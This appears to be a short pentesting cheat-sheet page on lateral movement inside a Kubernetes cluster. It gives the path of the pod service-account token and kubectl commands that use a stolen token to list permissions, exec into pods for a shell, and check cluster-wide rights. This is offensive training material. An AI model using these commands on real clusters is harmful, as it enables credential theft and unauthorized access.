Lateral Movement in the cluster
Kubernetes stores the token of the service account running a pod in
/var/run/secrets/kubernetes.io/serviceaccount/tokenToken type: JWT signed by the cluster
TIP: If an account can do * verb on . resource, it means it is a cluster-admin, which also means we are able to run any kubectl command we want.
kubectl auth can-i --list --token=${TOKEN} --certificate-authority=ca.crtkubectl get pods --token={TOKEN}kubectl exec -it POD --token={TOKEN} -- /bin/bash (This gives us a shell on the target pod)kubectl --token=TOKEN --certificate-authority=ca.crt --server=https://IP_ADDRESS:8443 auth can-i create pods --all-namespacesInteresting results from --list output: Create, get list
PreviousCheck our permissions to see if we can list and get secrets in this namespaceNextRecon in the cluster
Last updated